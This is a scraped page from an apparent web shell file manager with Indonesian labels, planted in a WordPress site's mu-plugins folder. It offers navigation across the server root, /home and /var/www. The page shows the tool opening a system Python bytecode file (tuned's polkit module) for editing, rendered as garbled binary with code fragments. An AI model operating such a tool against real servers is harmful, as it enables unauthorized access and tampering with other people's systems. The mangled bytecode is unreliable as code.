📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
tuned
›
utils
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/tuned/utils/__pycache__
💾
Free:
45.4 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: polkit.cpython-39.pyc
a �]�i� � @ s, d dl Z d dlZej�� ZG dd� d�ZdS )� Nc @ s e Zd Zdd� Zdd� ZdS )�polkitc C s4 t �� | _| jjdddd�| _t j| jdd�| _d S )Nzorg.freedesktop.PolicyKit1z%/org/freedesktop/PolicyKit1/AuthorityT)Zfollow_name_owner_changesz$org.freedesktop.PolicyKit1.Authority)Zdbus_interface)�dbusZ SystemBus�_busZ get_object�_proxyZ Interface� _authority)�self� r �6/usr/lib/python3.9/site-packages/tuned/utils/polkit.py�__init__ s zpolkit.__init__c C s |du s|du rdS i }d}d}dd|if}z| j �|||||�d }W n� tjjtf� y� } z�t�d| � z| j� |�} W nB tjjy� } z&t�d | � W Y d}~W Y d}~d S d}~0 0 | dkr�W Y d}~dS W Y d}~dS W Y d}~n d}~0 0 |�rdS dS ) z�Check authorization, return codes: 1 - authorized 2 - polkit error, but authorized with fallback method 0 - unauthorized -1 - polkit error and unauthorized by the fallback method -2 - polkit error and unable to use the fallback method NF� � zsystem-bus-name�namer zerror querying polkit: %sz-error using fallback authorization method: %s���� ���) r ZCheckAuthorizationr � exceptionsZ DBusException� ValueError�log�errorr Z get_unix_user) r ZsenderZ action_id�details�flagsZcancellation_idZsubject�ret�e�uidr r r �check_authorization s&